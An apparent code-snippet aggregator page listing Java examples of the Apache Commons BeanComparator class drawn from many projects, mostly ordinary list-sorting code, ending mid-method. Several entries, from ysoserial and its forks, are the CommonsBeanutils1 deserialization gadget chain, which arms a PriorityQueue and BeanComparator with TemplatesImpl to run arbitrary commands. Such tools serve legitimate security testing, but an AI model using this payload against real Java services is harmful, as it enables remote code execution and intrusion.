Java 类org.apache.commons.beanutils.BeanComparator 实例源码

项目:APacheSynapseSimplePOC    文件:CommonsBeanutils1.java   
public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final BeanComparator comparator = new BeanComparator("lowestSetBit");

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    // stub data for replacement later
    queue.add(new BigInteger("1"));
    queue.add(new BigInteger("1"));

    // switch method called by comparator
    Reflections.setFieldValue(comparator, "property", "outputProperties");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = templates;

    return queue;
}
项目:oscm    文件:ManageSubscriptionCtrl.java   
@PostConstruct
public void initialize() {

    comparatorChain.addComparator(new BeanComparator("roleKey"), true);
    comparatorChain.addComparator(new BeanComparator("userId"));

    model.setSubscriptionExisting(true);

    try {
        if (!model.isInitialized()) {
            final long key = sessionBean.getSelectedSubscriptionKey();
            initializeSubscription(key);
        }
    } catch (ObjectNotFoundException | ValidationException
            | OrganizationAuthoritiesException
            | OperationNotPermittedException e) {

        ui.handleException(e);
    }
}
项目:ysoserial-modified    文件:CommonsBeanutils1.java   
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {

    final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
    // mock method name until armed
    final BeanComparator comparator = new BeanComparator("lowestSetBit");

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    // stub data for replacement later
    queue.add(new BigInteger("1"));
    queue.add(new BigInteger("1"));

    // switch method called by comparator
    Reflections.setFieldValue(comparator, "property", "outputProperties");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = templates;

    return queue;
}
项目:ysoserial-plus    文件:CommonsBeanutils1.java   
public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final BeanComparator comparator = new BeanComparator("lowestSetBit");

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    // stub data for replacement later
    queue.add(new BigInteger("1"));
    queue.add(new BigInteger("1"));

    // switch method called by comparator
    Reflections.setFieldValue(comparator, "property", "outputProperties");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = templates;

    return queue;
}
项目:OSCAR-ConCert    文件:ProviderData.java   
@SuppressWarnings("unchecked")
public static ArrayList<ArrayList<String>> getProviderList() {
    try {
        ArrayList<ArrayList<String>> result = new ArrayList<ArrayList<String>>();
        ProviderDao dao = SpringUtils.getBean(ProviderDao.class);
        List<Provider> providers = dao.getProvidersByType(ProviderDao.PR_TYPE_DOCTOR);
        Collections.sort(providers, new BeanComparator("formattedName"));
        for (Provider p : providers) {
            ArrayList<String> provider = new ArrayList<String>();
            provider.add(p.getProviderNo());
            provider.add(p.getFirstName());
            provider.add(p.getLastName());
            result.add(provider);
        }
        return result;
    } catch (Exception e) {
        MiscUtils.getLogger().debug("exception in ProviderData:" + e);
        return null;
    }
}
项目:OSCAR-ConCert    文件:ProviderData.java   
@SuppressWarnings("unchecked")
public static ArrayList<ArrayList<String>> getProviderListWithLabNo() {
    try {
        ArrayList<ArrayList<String>> result = new ArrayList<ArrayList<String>>();

        ProviderDao dao = SpringUtils.getBean(ProviderDao.class);
        List<Provider> providers = dao.getProvidersByTypeWithNonEmptyOhipNo(ProviderDao.PR_TYPE_DOCTOR);
        Collections.sort(providers, new BeanComparator("formattedName"));
        for (Provider p : providers) {
            ArrayList<String> provider = new ArrayList<String>();
            provider.add(p.getProviderNo());
            provider.add(p.getFirstName());
            provider.add(p.getLastName());
            result.add(provider);
        }
        return result;
    } catch (Exception e) {
        MiscUtils.getLogger().debug("exception in ProviderData:" + e);
        return null;
    }
}
项目:OSCAR-ConCert    文件:MsgDocListForm.java   
/**
 * Sets up three vectors used in for the CreateMessage.jsp page
 * They are used to init the checkboxes that can be checked to send messages
 */
@SuppressWarnings("unchecked")
private void setUpVector() {
    providerNoVector = new Vector<String>();
    providerLastName = new Vector<String>();
    providerFirstName = new Vector<String>();

    ProviderDao dao = SpringUtils.getBean(ProviderDao.class);
    List<Provider> ps = dao.getProviders();
    Collections.sort(ps, new BeanComparator("firstName"));
    for (Provider p : ps) {
        providerNoVector.add(p.getProviderNo());
        providerFirstName.add(p.getFirstName());
        providerLastName.add(p.getLastName());
    }
}
项目:spring-boot    文件:MyBeanUtils.java   
/**
 * 根据给定的条件,把 list 中的 javabean 排序。
 * 用到了 commons beanutils 和  commons.collections
 *
 * @param list           待排序的 list
 * @param listOrderedMap 排序条件。
 *                       这是一个有序的 list ,排序条件按照加入到 list 的 bean 的属性(map 的 key)的先后顺序排序。
 *                       listOrderedMap 的 key 为待排序的 bean 的属性名称,值为是否按该属性的正序排序,true 为正序,false 为逆序。
 *                       使用方法见本类的 testSortListBeans() 方法例子,使用时注意不要写错 bean 的属性名称。
 * @param <T>            list 中的 bean 类型
 */
public static <T> void sortListBeans(List<T> list, ListOrderedMap listOrderedMap) {

    int num = listOrderedMap.size();
    ArrayList sortFields = new ArrayList();

    for (int i = 0; i < num; i++) {
        //  System.out.println("key =" + listOrderedMap.get(i) + " , value=" + listOrderedMap.getValue(i));
        Comparator comp = ComparableComparator.getInstance();

        comp = ComparatorUtils.nullLowComparator(comp);  //允许null

        if ((Boolean) listOrderedMap.getValue(i) == false)
            comp = ComparatorUtils.reversedComparator(comp); //逆序

        Comparator cmp = new BeanComparator((String) listOrderedMap.get(i), comp);
        sortFields.add(cmp);
    }

    ComparatorChain multiSort = new ComparatorChain(sortFields);
    Collections.sort(list, multiSort);
}
项目:ERDesignerNG    文件:OutlineComponent.java   
private void buildSubjectAreasChildren(Model aModel,
                                       DefaultMutableTreeNode aParent, List<SubjectArea> aList) {
    DefaultMutableTreeNode theSANode = new DefaultMutableTreeNode(
            TreeGroupingElement.SUBJECTAREAS);
       aList.stream().filter(theArea -> isVisible(theArea)).forEach(theArea -> {
           DefaultMutableTreeNode theAreaNode = new DefaultMutableTreeNode(
                   theArea);
           theSANode.add(theAreaNode);

           registerUserObject(theArea, theAreaNode);

           List<Table> theSATables = new ArrayList<>();
           theSATables.addAll(theArea.getTables());
           Collections.sort(theSATables, new BeanComparator("name"));
           buildTablesChildren(aModel, theAreaNode, theSATables);

           List<View> theSAViews = new ArrayList<>();
           theSAViews.addAll(theArea.getViews());
           Collections.sort(theSAViews, new BeanComparator("name"));
           buildViewsChildren(aModel, theAreaNode, theSAViews);

       });
    aParent.add(theSANode);
}
项目:ERDesignerNG    文件:Model.java   
/**
 * Get the available data types.
 * <p/>
 * The available data types are the dialect datatypes plus the defined
 * domains.
 *
 * @return the available data types
 */
public DataTypeList getAvailableDataTypes() {
    DataTypeList theResult = new DataTypeList();
    if (dialect != null) {
        theResult.addAll(dialect.getDataTypes());

        if (dialect.isSupportsCustomTypes()) {
            theResult.addAll(customTypes);
        }

        // Domains can be added by ui every time...
        theResult.addAll(domains);
    }

    Collections.sort(theResult, new BeanComparator("name"));

    return theResult;
}
项目:JavaSerialKiller    文件:CommonsBeanutilsCollectionsLogging1.java   
public Object getObject(final String command) throws Exception {
    final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final BeanComparator comparator = new BeanComparator("lowestSetBit");

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    // stub data for replacement later
    queue.add(new BigInteger("1"));
    queue.add(new BigInteger("1"));

    // switch method called by comparator
    Reflections.setFieldValue(comparator, "property", "outputProperties");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = templates;

    return queue;
}
项目:communote-server    文件:TagHelper.java   
/**
 * sort the result set for the user locale
 * 
 * @param locale
 *            The locale to use.
 * @param results
 *            the result
 * @param <L>
 *            the list item
 */
@SuppressWarnings("unchecked")
public static <L extends TagData> void sortResults(Locale locale,
        List<L> results) {
    if (results.size() == 0) {
        return;
    }
    Collator primaryCollator = Collator.getInstance(locale);
    primaryCollator.setStrength(Collator.SECONDARY);
    Collator secondaryCollator = Collator.getInstance(locale);
    secondaryCollator.setStrength(Collator.TERTIARY);
    ComparatorChain chain = new ComparatorChain();
    chain.addComparator(new BeanComparator("name", primaryCollator));
    chain.addComparator(new BeanComparator("name", secondaryCollator));
    Collections.sort(results, chain);
}
项目:development    文件:ManageSubscriptionCtrl.java   
@PostConstruct
public void initialize() {

    comparatorChain.addComparator(new BeanComparator("roleKey"), true);
    comparatorChain.addComparator(new BeanComparator("userId"));

    model.setSubscriptionExisting(true);

    try {
        if (!model.isInitialized()) {
            final long key = sessionBean.getSelectedSubscriptionKey();
            initializeSubscription(key);
        }
    } catch (ObjectNotFoundException | ValidationException
            | OrganizationAuthoritiesException
            | OperationNotPermittedException e) {

        ui.handleException(e);
    }
}
项目:openmrs-module-legacyui    文件:Sort.java   
/**
 * This method will sort a passed Collection
 *
 * @param c The collection to sort
 * @param sortProperty The javabean property to sort the elements of the Collection by
 * @param reverseOrder Boolean indicating whether or not to reverse the order of the collection
 * @return A sorted List of the passed elements
 */
public static <T> List<T> sort(Collection<T> c, String sortProperty, Boolean reverseOrder) {
    if (StringUtils.isEmpty(sortProperty)) {
        throw new IllegalArgumentException("sortProperty = " + sortProperty);
    }
    // fail early if the passed collection is null
    if (c == null) {
        return null;
    }

    // fail early if the passed collection is empty
    if (c.size() == 0) {
        return Collections.emptyList();
    }

    List<T> l = new ArrayList<T>(c);
    Comparator comp = new BeanComparator(sortProperty, new ComparableComparator());
    Collections.sort(l, comp);
    if (reverseOrder) {
        Collections.reverse(l);
    }
    return l;
}
项目:yawl    文件:DOMUtil.java   
/**
 * Alphabetises the top level children of the node root.
 * @param root
 * @return The alphabetised root node.
 */
public static Node alphabetiseChildNodes(Node root) throws XPathExpressionException
{
    root = removeEmptyElements(root);
    NodeList list = selectNodeList(root, "child::*");
    removeAllChildNodes(root);

    if(list.getLength() > 0)
    {
        Vector<Node> nodes = new Vector<Node>(list.getLength());

        for(int i = 0; i < list.getLength(); nodes.add(list.item(i)), i++);

        Collections.sort(nodes, new BeanComparator("localName"));

        for(Node node : nodes)
        {
            root.appendChild(node);
        }
    }

    return root;
}
项目:ysoserial    文件:CommonsBeanutils1.java   
public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final BeanComparator comparator = new BeanComparator("lowestSetBit");

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    // stub data for replacement later
    queue.add(new BigInteger("1"));
    queue.add(new BigInteger("1"));

    // switch method called by comparator
    Reflections.setFieldValue(comparator, "property", "outputProperties");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = templates;

    return queue;
}
项目:fenix-parking    文件:ParkingManagerDispatchAction.java   
public ActionForward showHistory(ActionMapping mapping, ActionForm actionForm, HttpServletRequest request,
        HttpServletResponse response) throws Exception {
    final String codeString = request.getParameter("externalId");
    String code = null;
    if (codeString == null) {
        code = (String) request.getAttribute("externalId");
    } else {
        code = codeString;
    }
    final ParkingRequest parkingRequest = FenixFramework.getDomainObject(code);
    List<ParkingPartyHistory> parkingPartyHistories =
            new ArrayList<ParkingPartyHistory>(parkingRequest.getParkingParty().getParty().getParkingPartyHistoriesSet());

    Collections.sort(parkingPartyHistories, new BeanComparator("historyDate"));
    request.setAttribute("parkingPartyHistories", parkingPartyHistories);
    request.setAttribute("parkingParty", parkingRequest.getParkingParty());
    return mapping.findForward("showParkingHistories");
}
项目:fenix-parking    文件:ParkingManagerDispatchAction.java   
public ActionForward showParkingPartyHistory(ActionMapping mapping, ActionForm actionForm, HttpServletRequest request,
        HttpServletResponse response) throws Exception {
    final String codeString = request.getParameter("externalId");
    String code = null;
    if (codeString == null) {
        code = (String) request.getAttribute("externalId");
    } else {
        code = codeString;
    }
    final ParkingParty parkingParty = FenixFramework.getDomainObject(code);
    List<ParkingPartyHistory> parkingPartyHistories =
            new ArrayList<ParkingPartyHistory>(parkingParty.getParty().getParkingPartyHistoriesSet());

    Collections.sort(parkingPartyHistories, new BeanComparator("historyDate"));
    request.setAttribute("parkingPartyHistories", parkingPartyHistories);
    request.setAttribute("parkingParty", parkingParty);
    return mapping.findForward("showParkingHistories");
}
项目:fenixedu-academic    文件:InfoCurriculumHistoricReport.java   
private void init() {
    this.enrolments =
            new TreeSet<InfoEnrolmentHistoricReport>(
                    new BeanComparator("enrolment.studentCurricularPlan.registration.number"));
    for (final Enrolment enrolment : getCurricularCourse().getEnrolmentsByAcademicInterval(academicInterval)) {
        if (!enrolment.isAnnulled()) {
            this.enrolments.add(new InfoEnrolmentHistoricReport(enrolment));

            if (enrolment.isEvaluated()) {
                this.evaluated++;

                if (enrolment.isEnrolmentStateApproved()) {
                    this.approved++;
                }
            }
        }
    }
}
项目:fenixedu-academic    文件:ReadActiveCurricularCourseScopeByDegreeCurricularPlanAndExecutionYear.java   
@Atomic
public static SortedSet<DegreeModuleScope> run(String degreeCurricularPlanID, AcademicInterval academicInterval)
        throws FenixServiceException {
    final DegreeCurricularPlan degreeCurricularPlan = FenixFramework.getDomainObject(degreeCurricularPlanID);

    final ComparatorChain comparator = new ComparatorChain();
    comparator.addComparator(new BeanComparator("curricularYear"));
    comparator.addComparator(new BeanComparator("curricularSemester"));
    comparator.addComparator(new BeanComparator("curricularCourse.externalId"));
    comparator.addComparator(new BeanComparator("branch"));

    final SortedSet<DegreeModuleScope> scopes = new TreeSet<DegreeModuleScope>(comparator);

    for (DegreeModuleScope degreeModuleScope : degreeCurricularPlan.getDegreeModuleScopes()) {
        if (degreeModuleScope.isActiveForAcademicInterval(academicInterval)) {
            scopes.add(degreeModuleScope);
        }
    }

    return scopes;
}
项目:fenixedu-academic    文件:ReadActiveCurricularCourseScopeByDegreeCurricularPlanAndExecutionYear.java   
@Atomic
@Deprecated
public static SortedSet<DegreeModuleScope> run(String degreeCurricularPlanID, String executioYearID)
        throws FenixServiceException {
    final DegreeCurricularPlan degreeCurricularPlan = FenixFramework.getDomainObject(degreeCurricularPlanID);
    final ExecutionYear executionYear = FenixFramework.getDomainObject(executioYearID);

    final ComparatorChain comparator = new ComparatorChain();
    comparator.addComparator(new BeanComparator("curricularYear"));
    comparator.addComparator(new BeanComparator("curricularSemester"));
    comparator.addComparator(new BeanComparator("curricularCourse.externalId"));
    comparator.addComparator(new BeanComparator("branch"));

    final SortedSet<DegreeModuleScope> scopes = new TreeSet<DegreeModuleScope>(comparator);

    for (DegreeModuleScope degreeModuleScope : degreeCurricularPlan.getDegreeModuleScopes()) {
        if (degreeModuleScope.isActiveForExecutionYear(executionYear)) {
            scopes.add(degreeModuleScope);
        }
    }

    return scopes;
}
项目:fenixedu-academic    文件:ReadStudentListByCurricularCourse.java   
private List cleanList(final List<Enrolment> enrolmentList) throws FenixServiceException {

        if (enrolmentList.isEmpty()) {
            throw new NonExistingServiceException();
        }

        Integer studentNumber = null;
        final List<InfoEnrolment> result = new ArrayList<InfoEnrolment>();
        for (final Enrolment enrolment : enrolmentList) {

            if (studentNumber == null
                    || studentNumber.intValue() != enrolment.getStudentCurricularPlan().getRegistration().getNumber().intValue()) {
                studentNumber = enrolment.getStudentCurricularPlan().getRegistration().getNumber();
                result.add(InfoEnrolment.newInfoFromDomain(enrolment));
            }
        }
        Collections.sort(result, new BeanComparator("infoStudentCurricularPlan.infoStudent.number"));
        return result;
    }
项目:fenixedu-academic    文件:DisplayEvaluationsForStudentToEnrol.java   
public List<SelectItem> getExecutionPeriodsLabels() {
    if (this.executionPeriodsLabels == null) {
        this.executionPeriodsLabels = new ArrayList();

        final List<InfoExecutionPeriod> infoExecutionPeriods = getExecutionPeriods();
        final ComparatorChain comparatorChain = new ComparatorChain();
        comparatorChain.addComparator(new ReverseComparator(new BeanComparator("infoExecutionYear.year")));
        comparatorChain.addComparator(new ReverseComparator(new BeanComparator("semester")));
        Collections.sort(infoExecutionPeriods, comparatorChain);
        for (final InfoExecutionPeriod infoExecutionPeriod : infoExecutionPeriods) {
            final SelectItem selectItem = new SelectItem();
            selectItem.setValue(infoExecutionPeriod.getExternalId());
            selectItem.setLabel(infoExecutionPeriod.getName() + " - " + infoExecutionPeriod.getInfoExecutionYear().getYear());
            this.executionPeriodsLabels.add(selectItem);
        }
    }
    return this.executionPeriodsLabels;
}
项目:fenixedu-academic    文件:SOPEvaluationManagementBackingBean.java   
private List<ExecutionCourse> getExecutionCourses() throws FenixServiceException {
    final List<ExecutionCourse> executionCourses = new ArrayList<ExecutionCourse>();
    Integer[] curricularYears = getCurricularYearIDs();
    if (curricularYears != null) {
        for (final Integer curricularYearID : curricularYears) {
            executionCourses.addAll(ExecutionCourse.filterByAcademicIntervalAndDegreeCurricularPlanAndCurricularYearAndName(
                    getAcademicIntervalFromParameter(getAcademicInterval()), getExecutionDegree().getDegreeCurricularPlan(),
                    CurricularYear.readByYear(curricularYearID), "%"));
        }
    }
    // Integer[] curricularYears = getCurricularYearIDs();
    // if (curricularYears != null) {
    // for (final Integer curricularYearID : curricularYears) {
    // final Object args[] = {
    // this.getExecutionDegree().getDegreeCurricularPlan().getExternalId(),
    // this.getExecutionPeriodID(), curricularYearID };
    // executionCourses.addAll((Collection<ExecutionCourse>)
    // ServiceManagerServiceFactory.executeService(
    // "ReadExecutionCoursesByDegreeCurricularPlanAndExecutionPeriodAndCurricularYear"
    // , args));
    // }
    // }
    Collections.sort(executionCourses, new BeanComparator("sigla"));
    return executionCourses;
}
项目:fenixedu-academic    文件:CoordinatorEvaluationManagementBackingBean.java   
public List<SelectItem> getExecutionPeriodsLabels() {
    if (this.executionPeriodsLabels == null) {
        this.executionPeriodsLabels = new ArrayList();

        final List<InfoExecutionPeriod> infoExecutionPeriods = getExecutionPeriods();
        final ComparatorChain comparatorChain = new ComparatorChain();
        comparatorChain.addComparator(new ReverseComparator(new BeanComparator("infoExecutionYear.year")));
        comparatorChain.addComparator(new ReverseComparator(new BeanComparator("semester")));
        Collections.sort(infoExecutionPeriods, comparatorChain);
        for (final InfoExecutionPeriod infoExecutionPeriod : infoExecutionPeriods) {
            final SelectItem selectItem = new SelectItem();
            selectItem.setValue(infoExecutionPeriod.getExternalId());
            selectItem.setLabel(infoExecutionPeriod.getName() + " - " + infoExecutionPeriod.getInfoExecutionYear().getYear());
            this.executionPeriodsLabels.add(selectItem);
        }
    }
    return this.executionPeriodsLabels;
}
项目:fenixedu-academic    文件:CoordinatorProjectsInformationBackingBean.java   
private void filterExecutionCourses() {
    if (this.executionCoursesWithProjects == null || this.executionCoursesWithoutProjects == null) {
        this.executionCoursesWithProjects = new ArrayList();
        this.executionCoursesWithoutProjects = new ArrayList();
        Collections.sort(getExecutionCourses(), new BeanComparator("sigla"));
        projects.clear();
        for (final ExecutionCourse executionCourse : getExecutionCourses()) {
            final List<Project> associatedProjects = executionCourse.getAssociatedProjects();
            if (!executionCourse.getAssociatedProjects().isEmpty()) {
                Collections.sort(associatedProjects, new BeanComparator("begin"));
                this.executionCoursesWithProjects.add(executionCourse);
                this.projects.put(executionCourse.getExternalId(), associatedProjects);
            } else {
                this.executionCoursesWithoutProjects.add(executionCourse);
            }
        }
    }
}
项目:fenixedu-academic    文件:CoordinatorWrittenTestsInformationBackingBean.java   
public List<ExecutionCourse> getExecutionCoursesWithWrittenTests() {
    if (this.executionCoursesWithWrittenTests == null) {
        this.executionCoursesWithWrittenTests = new ArrayList();
        Collections.sort(getExecutionCourses(), new BeanComparator("sigla"));
        writtenTests.clear();
        writtenTestsFreeSpace.clear();
        writtenTestsRooms.clear();
        for (final ExecutionCourse executionCourse : getExecutionCourses()) {
            final List<WrittenTest> associatedWrittenTests = executionCourse.getAssociatedWrittenTests();
            if (!associatedWrittenTests.isEmpty()) {
                Collections.sort(associatedWrittenTests, new BeanComparator("dayDate"));
                writtenTests.put(executionCourse.getExternalId(), associatedWrittenTests);
                processWrittenTestAdditionalValues(associatedWrittenTests);
                this.executionCoursesWithWrittenTests.add(executionCourse);
            }
        }
    }
    return this.executionCoursesWithWrittenTests;
}
项目:fenixedu-academic    文件:CourseGroupManagementBackingBean.java   
private List<SelectItem> readCourseGroups() {
    final List<SelectItem> result = new ArrayList<SelectItem>();
    final List<List<DegreeModule>> degreeModulesSet =
            getDegreeCurricularPlan().getDcpDegreeModulesIncludingFullPath(CourseGroup.class, null);
    final Set<CourseGroup> allParents = getCourseGroup(getParentCourseGroupID()).getAllParentCourseGroups();
    for (final List<DegreeModule> degreeModules : degreeModulesSet) {
        final DegreeModule lastDegreeModule = (degreeModules.size() > 0) ? degreeModules.get(degreeModules.size() - 1) : null;
        if (!allParents.contains(lastDegreeModule) && lastDegreeModule != getCourseGroup(getParentCourseGroupID())) {
            final StringBuilder pathName = new StringBuilder();
            for (final DegreeModule degreeModule : degreeModules) {
                pathName.append((pathName.length() == 0) ? "" : " > ").append(degreeModule.getName());
            }
            result.add(new SelectItem(lastDegreeModule.getExternalId(), pathName.toString()));
        }
    }
    Collections.sort(result, new BeanComparator("label"));
    result.add(0, new SelectItem(this.NO_SELECTION_STRING, BundleUtil.getString(Bundle.BOLONHA, "choose")));
    return result;
}
项目:fenixedu-academic    文件:CurricularCourseManagementBackingBean.java   
private List<SelectItem> readAllowedDepartmentUnits() {
    final List<SelectItem> result = new ArrayList<SelectItem>();
    for (final Department department : Bennu.getInstance().getDepartmentsSet()) {
        if (department.getCompetenceCourseMembersGroup() != null
                && department.getCompetenceCourseMembersGroup().isMember(getUserView())) {
            DepartmentUnit departmentUnit = department.getDepartmentUnit();
            result.add(new SelectItem(departmentUnit.getExternalId(), departmentUnit.getName()));
        }
    }
    Collections.sort(result, new BeanComparator("label"));
    if (result.size() == 1) {
        Department personDepartment = getPersonDepartment();
        if (personDepartment != null
                && !result.get(0).getValue().equals(personDepartment.getDepartmentUnit().getExternalId())) {
            result.add(0, new SelectItem(personDepartment.getDepartmentUnit().getExternalId(), personDepartment.getName()));
        }
    }
    return result;
}
项目:fenixedu-academic    文件:CurricularCourseManagementBackingBean.java   
private List<SelectItem> readCompetenceCourses() {
    final List<SelectItem> result = new ArrayList<SelectItem>();
    final DepartmentUnit departmentUnit = getDepartmentUnit();
    if (departmentUnit != null) {
        for (final ScientificAreaUnit scientificAreaUnit : departmentUnit.getScientificAreaUnits()) {
            for (final CompetenceCourseGroupUnit competenceCourseGroupUnit : scientificAreaUnit
                    .getCompetenceCourseGroupUnits()) {
                for (final CompetenceCourse competenceCourse : competenceCourseGroupUnit.getCompetenceCourses()) {
                    if (competenceCourse.getCurricularStage() != CurricularStage.DRAFT) {
                        final String code =
                                !StringUtils.isEmpty(competenceCourse.getCode()) ? " [" + competenceCourse.getCode() + "]" : "";
                        result.add(new SelectItem(competenceCourse.getExternalId(), competenceCourse.getName() + " ("
                                + BundleUtil.getString(Bundle.ENUMERATION, competenceCourse.getCurricularStage().getName())
                                + ")" + code));
                    }
                }
            }
        }
        Collections.sort(result, new BeanComparator("label"));
    }
    result.add(0, new SelectItem(this.NO_SELECTION_STRING, BundleUtil.getString(Bundle.BOLONHA, "choose")));
    return result;
}
项目:fenixedu-academic    文件:CompetenceCourseManagementBackingBean.java   
public List<SelectItem> getExecutionYears() {
    if (selectedYears == null) {

        ExecutionYear year = null;
        if (getCompetenceCourse() != null) {
            final ExecutionSemester semester = getCompetenceCourse().getStartExecutionSemester();
            year = semester != null ? semester.getExecutionYear() : null;
        }

        selectedYears = new ArrayList<SelectItem>();
        for (ExecutionYear executionYear : ExecutionYear.readNotClosedExecutionYears()) {
            if (year == null || executionYear.isAfterOrEquals(year)) {
                selectedYears.add(new SelectItem(executionYear.getExternalId(), executionYear.getYear()));
            }
        }
        Collections.sort(selectedYears, new ReverseComparator(new BeanComparator("label")));
    }

    return selectedYears;
}
项目:fenixedu-academic    文件:CurricularRulesManagementBackingBean.java   
private List<SelectItem> readBolonhaDegrees(String selectedCurricularRuleType, String selectedDegreeType) {

        final List<SelectItem> result = new ArrayList<SelectItem>();
        if (selectedCurricularRuleType != null
                && selectedCurricularRuleType.equals(CurricularRuleType.ANY_CURRICULAR_COURSE.name())) {

            final List<Degree> allDegrees = Degree.readNotEmptyDegrees();
            final DegreeType bolonhaDegreeType = getDegreeType(selectedDegreeType);
            for (final Degree degree : allDegrees) {
                if (degree.isBolonhaDegree() && (bolonhaDegreeType == null || degree.getDegreeType() == bolonhaDegreeType)) {
                    result.add(new SelectItem(degree.getExternalId(), "[" + degree.getDegreeType().getName().getContent() + "] "
                            + degree.getNome()));
                }
            }
            Collections.sort(result, new BeanComparator("label"));
        }
        result.add(0, new SelectItem(NO_SELECTION_STRING, BundleUtil.getString(Bundle.BOLONHA, "any.one")));
        return result;
    }
项目:fenixedu-academic    文件:DFATypeDegrees.java   
@Override
public Object provide(Object source, Object currentValue) {

    DFACandidacyBean bean = (DFACandidacyBean) source;

    final List<Degree> result = new ArrayList<Degree>();
    DegreeType degreeType = bean.getDegreeType();
    if (degreeType != null) {
        for (Degree degree : Degree.readNotEmptyDegrees()) {
            if (degree.getDegreeType() == degreeType) {
                result.add(degree);
            }
        }
    }
    Collections.sort(result, new BeanComparator("name"));
    return result;
}
项目:fenixedu-academic    文件:ErasmusCandidacyProcessDA.java   
@Override
public Object provide(Object source, Object currentValue) {
    ErasmusVacancyBean bean = (ErasmusVacancyBean) source;

    CountryUnit selectedCountryUnit = CountryUnit.getCountryUnitByCountry(bean.getCountry());

    if (selectedCountryUnit == null) {
        return new ArrayList<Unit>();
    }

    java.util.ArrayList<Unit> associatedUniversityUnits =
            new java.util.ArrayList<Unit>(selectedCountryUnit.getSubUnits(PartyTypeEnum.UNIVERSITY));

    Collections.sort(associatedUniversityUnits, new BeanComparator("nameI18n"));

    return associatedUniversityUnits;
}
项目:fenixedu-academic    文件:FirstTimeEnrolmentDocuments.java   
private Object installmmentPaymentCodes(Collection<PaymentCode> availablePaymentCodes) {
    List<PaymentCode> installmentPaymentCodes = new ArrayList<PaymentCode>();

    CollectionUtils.select(availablePaymentCodes, new Predicate() {

        @Override
        public boolean evaluate(Object arg0) {
            PaymentCode paymentCode = (PaymentCode) arg0;

            if (paymentCode instanceof InstallmentPaymentCode) {
                return true;
            }

            return false;
        }
    }, installmentPaymentCodes);

    Collections.sort(installmentPaymentCodes, new BeanComparator("code"));

    return installmentPaymentCodes;
}
项目:fenixedu-academic    文件:DegreeCandidacyManagementDispatchAction.java   
private Object installmmentPaymentCodes(Collection<PaymentCode> availablePaymentCodes) {
    List<PaymentCode> installmentPaymentCodes = new ArrayList<PaymentCode>();

    CollectionUtils.select(availablePaymentCodes, new Predicate() {

        @Override
        public boolean evaluate(Object arg0) {
            PaymentCode paymentCode = (PaymentCode) arg0;

            if (paymentCode instanceof InstallmentPaymentCode) {
                return true;
            }

            return false;
        }
    }, installmentPaymentCodes);

    Collections.sort(installmentPaymentCodes, new BeanComparator("code"));

    return installmentPaymentCodes;
}
项目:fenixedu-academic    文件:ShiftDistributionFirstYearDA.java   
private Spreadsheet getStatisticsFromShiftDistribution(
        Map<Shift, List<GenericPair<DegreeCurricularPlan, Integer>>> distribution,
        Map<DegreeCurricularPlan, List<Integer>> abstractStudentNumbers) {

    final Spreadsheet spreadsheet = new Spreadsheet("Shifts");

    final List<DegreeCurricularPlan> sorted = new ArrayList<DegreeCurricularPlan>(abstractStudentNumbers.keySet());
    Collections.sort(sorted, new BeanComparator("name"));
    addHeader(spreadsheet, sorted);

    for (final Entry<Shift, Map<DegreeCurricularPlan, Integer>> shiftEntry : calculateStatistics(distribution,
            abstractStudentNumbers).entrySet()) {
        addRow(spreadsheet, shiftEntry, sorted);
    }
    return spreadsheet;
}
项目:fenixedu-academic    文件:StudentListDispatchAction.java   
public ActionForward getCurricularCourses(ActionMapping mapping, ActionForm form, HttpServletRequest request,
        HttpServletResponse response) throws Exception {

    User userView = getUserView(request);

    String degreeCurricularPlanID = null;
    if (request.getParameter("degreeCurricularPlanID") != null) {
        degreeCurricularPlanID = request.getParameter("degreeCurricularPlanID");
        request.setAttribute("degreeCurricularPlanID", degreeCurricularPlanID);
    }

    List result = ReadCurricularCoursesByDegree.run(degreeCurricularPlanID);

    BeanComparator nameComparator = new BeanComparator("name");
    Collections.sort(result, nameComparator);

    request.setAttribute("curricularCourses", result);

    return mapping.findForward("ShowCourseList");
}
项目:fenixedu-academic    文件:ExternalUnitsDispatchAction.java   
public ActionForward search(ActionMapping mapping, ActionForm actionForm, HttpServletRequest request,
        HttpServletResponse response) {

    final ExternalUnitsSearchBean searchBean = getRenderedObject();
    request.setAttribute("searchBean", searchBean);

    if (StringUtils.isEmpty(searchBean.getUnitName())) {
        addActionMessage("error", request, "error.externalUnits.invalid.unit.name");
    } else {
        searchBean.clearResults();
        searchUnits(searchBean);
        searchExternalCurricularCourses(searchBean);
        Collections.sort(searchBean.getResults(), new BeanComparator("fullName"));
        searchBean.setEarthUnit(UnitUtils.readEarthUnit());
    }

    return mapping.findForward("searchExternalUnits");
}
项目:fenixedu-academic    文件:SeperateExecutionCourseDispatchAction.java   
public ActionForward changeDestinationContext(ActionMapping mapping, ActionForm form, HttpServletRequest request,
        HttpServletResponse response) throws FenixServiceException {

    prepareTransfer(mapping, form, request, response);

    DynaActionForm dynaActionForm = (DynaActionForm) form;

